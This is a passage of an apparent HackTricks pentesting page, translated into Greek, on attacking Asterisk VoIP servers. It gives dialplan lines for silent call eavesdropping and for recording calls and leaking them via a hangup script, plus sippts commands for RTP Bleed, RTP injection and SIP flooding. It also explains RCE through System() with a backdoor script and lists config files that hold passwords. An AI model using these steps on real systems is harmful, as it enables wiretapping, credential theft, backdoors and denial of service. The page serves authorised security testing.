``` **Περισσότερες πληροφορίες ή ενέργειες μπορεί να ζητηθούν.** ### **Παρακολούθηση** Στο Asterisk είναι δυνατόν να χρησιμοποιηθεί η εντολή **`ChanSpy`** υποδεικνύοντας την **εσωτερική γραμμή(ες) προς παρακολούθηση** (ή όλες) για να ακούσετε τις συνομιλίες που συμβαίνουν. Αυτή η εντολή πρέπει να ανατεθεί σε μια εσωτερική γραμμή. Για παράδειγμα, **`exten => 333,1,ChanSpy('all',qb)`** υποδεικνύει ότι αν **καλέσετε** την **εσωτερική γραμμή 333**, θα **παρακολουθεί** **`όλες`** τις εσωτερικές γραμμές, **ξεκινώντας να ακούει** όποτε ξεκινά μια νέα συνομιλία (**`b`**) σε ήσυχο τρόπο (**`q`**) καθώς δεν θέλουμε να αλληλεπιδράσουμε σε αυτήν. Μπορείτε να μεταβείτε από μια συνομιλία σε άλλη πατώντας **`*`**, ή σημειώνοντας τον αριθμό της εσωτερικής γραμμής. Είναι επίσης δυνατό να χρησιμοποιήσετε **`ExtenSpy`** για να παρακολουθήσετε μόνο μία εσωτερική γραμμή. Αντί να ακούτε τις συνομιλίες, είναι δυνατόν να **τις καταγράψετε σε αρχεία** χρησιμοποιώντας μια εσωτερική γραμμή όπως: ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) exten => _X.,2,MixMonitor(${NAME}) ``` Οι κλήσεις θα αποθηκεύονται στο **`/tmp`**. Μπορείτε επίσης να κάνετε το Asterisk **να εκτελεί ένα σενάριο που θα διαρρεύσει την κλήση** όταν κλείσει. ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed ευπάθεια **RTCPBleed** είναι ένα σημαντικό πρόβλημα ασφαλείας που επηρεάζει τους VoIP διακομιστές βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπάθεια επιτρέπει στο **RTP (Real Time Protocol) traffic**, το οποίο μεταφέρει τις VoIP συνομιλίες, να **παρακολουθείται και να ανακατευθύνεται από οποιονδήποτε στο Διαδίκτυο**. Αυτό συμβαίνει επειδή η RTP κίνηση παρακάμπτει την αυθεντικοποίηση όταν περιηγείται μέσω NAT (Network Address Translation) τειχών προστασίας. Οι RTP proxies προσπαθούν να αντιμετωπίσουν τους **περιορισμούς NAT** που επηρεάζουν τα RTC συστήματα προξενώντας ροές RTP μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό του RTP proxy συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και θύρας RTP που ανακτώνται μέσω σήμανσης (π.χ. SIP). Επομένως, αρκετοί RTP proxies έχουν εφαρμόσει έναν μηχανισμό όπου τέτοιο **IP και port tuplet μαθαίνεται αυτόματα**. Αυτό γίνεται συχνά με την επιθεώρηση της εισερχόμενης RTP κίνησης και την επισήμανση της πηγής IP και θύρας για οποιαδήποτε εισερχόμενη RTP κίνηση ως αυτή που θα πρέπει να απαντηθεί. Αυτός ο μηχανισμός, ο οποίος μπορεί να ονομάζεται "learning mode", **δεν χρησιμοποιεί κανενός είδους αυθεντικοποίηση**. Επομένως, **επιτιθέμενοι** μπορεί να **στείλουν RTP κίνηση στον RTP proxy** και να λάβουν την προξενημένη RTP κίνηση που προορίζεται για τον καλούντα ή τον καλούμενο μιας τρέχουσας ροής RTP. Ονομάζουμε αυτή την ευπάθεια RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν ροές RTP που προορίζονται να σταλούν σε νόμιμους χρήστες. Μια άλλη ενδιαφέρουσα συμπεριφορά των RTP proxies και των RTP stacks είναι ότι μερικές φορές, **ακόμα και αν δεν είναι ευάλωτα στο RTP Bleed**, θα **αποδέχονται, προωθούν και/ή επεξεργάζονται RTP πακέτα από οποιαδήποτε πηγή**. Επομένως, οι επιτιθέμενοι μπορούν να στείλουν RTP πακέτα που μπορεί να τους επιτρέψουν να εισάγουν τα μέσα τους αντί για το νόμιμο. Ονομάζουμε αυτή την επίθεση RTP injection επειδή επιτρέπει την εισαγωγή παράνομων RTP πακέτων σε υπάρχουσες ροές RTP. Αυτή η ευπάθεια μπορεί να βρεθεί τόσο σε RTP proxies όσο και σε τερματικά. Ο Asterisk και το FreePBX παραδοσιακά χρησιμοποιούν την **ρύθμιση `NAT=yes`**, η οποία επιτρέπει στην RTP κίνηση να παρακάμπτει την αυθεντικοποίηση, ενδεχομένως οδηγώντας σε καμία ή μονόδρομη ήχο σε κλήσεις. Για περισσότερες πληροφορίες, ελέγξτε [https://www.rtpbleed.com/](https://www.rtpbleed.com/) - **`SIPPTS rtpbleed`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleed ανιχνεύει την ευπάθεια RTP Bleed στέλνοντας ροές RTP. ```bash sippts rtpbleed -i 10.10.0.10 ``` - **`SIPPTS rtcpbleed`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtcpbleed ανιχνεύει την ευπάθεια RTP Bleed στέλνοντας ροές RTCP. ```bash sippts rtcpbleed -i 10.10.0.10 ``` - **`SIPPTS rtpbleedflood`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleedflood εκμεταλλεύεται την ευπάθεια RTP Bleed στέλνοντας ροές RTP. ```bash sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v ``` - **`SIPPTS rtpbleedinject`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleedinject εκμεταλλεύεται την ευπάθεια RTP Bleed εισάγοντας ένα αρχείο ήχου (μορφή WAV). ```bash sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE Στο Asterisk, με κάποιο τρόπο καταφέρνετε να **προσθέσετε κανόνες εσωτερικών γραμμών και να τους επαναφορτώσετε** (για παράδειγμα, παραβιάζοντας έναν ευάλωτο διακομιστή διαχείρισης ιστού), είναι δυνατόν να αποκτήσετε RCE χρησιμοποιώντας την **`System`** εντολή. ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` Υπάρχει μια εντολή που ονομάζεται **`Shell`** που μπορεί να χρησιμοποιηθεί **αντί για `System`** για την εκτέλεση εντολών συστήματος αν είναι απαραίτητο. > [!WARNING] > Αν ο διακομιστής **απαγορεύει τη χρήση ορισμένων χαρακτήρων** στην εντολή **`System`** (όπως στο Elastix), ελέγξτε αν ο διακομιστής web επιτρέπει να **δημιουργηθούν αρχεία με κάποιον τρόπο μέσα στο σύστημα** (όπως στο Elastix ή trixbox), και χρησιμοποιήστε το για να **δημιουργήσετε ένα backdoor script** και στη συνέχεια χρησιμοποιήστε **`System`** για να **εκτελέσετε** αυτό το **script**. #### Ενδιαφέροντα τοπικά αρχεία και δικαιώματα - **`sip.conf`** -> Περιέχει τον κωδικό πρόσβασης των χρηστών SIP. - Αν ο **διακομιστής Asterisk τρέχει ως root**, μπορείτε να παραβιάσετε τον root. - Ο **χρήστης root mysql** μπορεί **να μην έχει κανέναν κωδικό πρόσβασης**. - αυτό μπορεί να χρησιμοποιηθεί για να δημιουργηθεί ένας νέος χρήστης mysql ως backdoor. - **`FreePBX`** - **`amportal.conf`** -> Περιέχει τον κωδικό πρόσβασης του διαχειριστή του web panel (FreePBX). - **`FreePBX.conf`** -> Περιέχει τον κωδικό πρόσβασης του χρήστη FreePBXuser που χρησιμοποιείται για την πρόσβαση στη βάση δεδομένων. - αυτό μπορεί να χρησιμοποιηθεί για να δημιουργηθεί ένας νέος χρήστης mysql ως backdoor. - **`Elastix`** - **`Elastix.conf`** -> Περιέχει αρκετούς κωδικούς πρόσβασης σε καθαρό κείμενο όπως τον κωδικό root mysql, τον κωδικό IMAPd, τον κωδικό διαχειριστή web. - **Αρκετοί φάκελοι** θα ανήκουν στον παραβιασμένο χρήστη asterisk (αν δεν τρέχει ως root). Αυτός ο χρήστης μπορεί να διαβάσει τα προηγούμενα αρχεία και ελέγχει επίσης τη διαμόρφωση, οπότε θα μπορούσε να κάνει τον Asterisk να φορτώσει άλλες backdoored εκτελέσιμες όταν εκτελούνται. ### RTP Injection Είναι δυνατόν να εισαχθεί ένα **`.wav`** σε συνομιλίες χρησιμοποιώντας εργαλεία όπως **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) και **`rtpmixsound`** (`sudo apt install rtpmixsound`). Ή μπορείτε να χρησιμοποιήσετε τα scripts από [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) για να **σκανάρετε συνομιλίες** (**`rtpscan.pl`**), να στείλετε ένα `.wav` σε μια συνομιλία (**`rtpsend.pl`**) και να **εισάγετε θόρυβο** σε μια συνομιλία (**`rtpflood.pl`**). ### DoS Υπάρχουν αρκετοί τρόποι για να προσπαθήσετε να επιτύχετε DoS σε διακομιστές VoIP. - **`SIPPTS flood`** από [**sippts**](https://github.com/Pepelux/sippts)**: Το SIPPTS flood στέλνει απεριόριστα μηνύματα στον στόχο. - `sippts flood -i 10.10.0.10 -m invite -v` - **`SIPPTS ping`** από [**sippts**](https://github.com/Pepelux/sippts)**: Το SIPPTS ping κάνει ένα SIP ping για να δει τον χρόνο απόκρισης του διακομιστή. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS πρωτόκολλο IAX που χρησιμοποιείται από τον Asterisk. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Ένα εργαλείο για την εκτέλεση πλημμυρίδας μηνυμάτων SIP/SDP INVITE μέσω UDP/IP. - [**rtpflood**](https://www.kali.org/tools/rtpflood/): Στέλνει αρκετά καλά διαμορφωμένα RTP πακέτα. Είναι απαραίτητο να γνωρίζετε τις θύρες RTP που χρησιμοποιούνται (sniff πρώτα). - [**SIPp**](https://github.com/SIPp/sipp): Επιτρέπει την ανάλυση και τη δημιουργία SIP traffic. μπορεί επίσης να χρησιμοποιηθεί για DoS. - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Το SIP μαχαίρι του Ελβετού στρατιώτη. Μπορεί επίσης να χρησιμοποιηθεί για την εκτέλεση επιθέσεων SIP. - Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). ### OS Vulnerabilities Ο ευκολότερος τρόπος για να εγκαταστήσετε ένα λογισμικό όπως ο Asterisk είναι να κατεβάσετε μια **διανομή OS** που το έχει ήδη εγκατεστημένο, όπως: **FreePBX, Elastix, Trixbox**... Το πρόβλημα με αυτά είναι ότι μόλις λειτουργήσει, οι διαχειριστές συστημάτων μπορεί **να μην τα ενημερώσουν ξανά** και οι **ευπάθειες** θα ανακαλυφθούν με την πάροδο του χρόνου. ## References - [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) - [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) - [http://blog.pepelux.org/](http://blog.pepelux.org/) - [https://www.rtpbleed.com/](https://www.rtpbleed.com/) - [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4) - [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf) {{#include ../../banners/hacktricks-training.md}}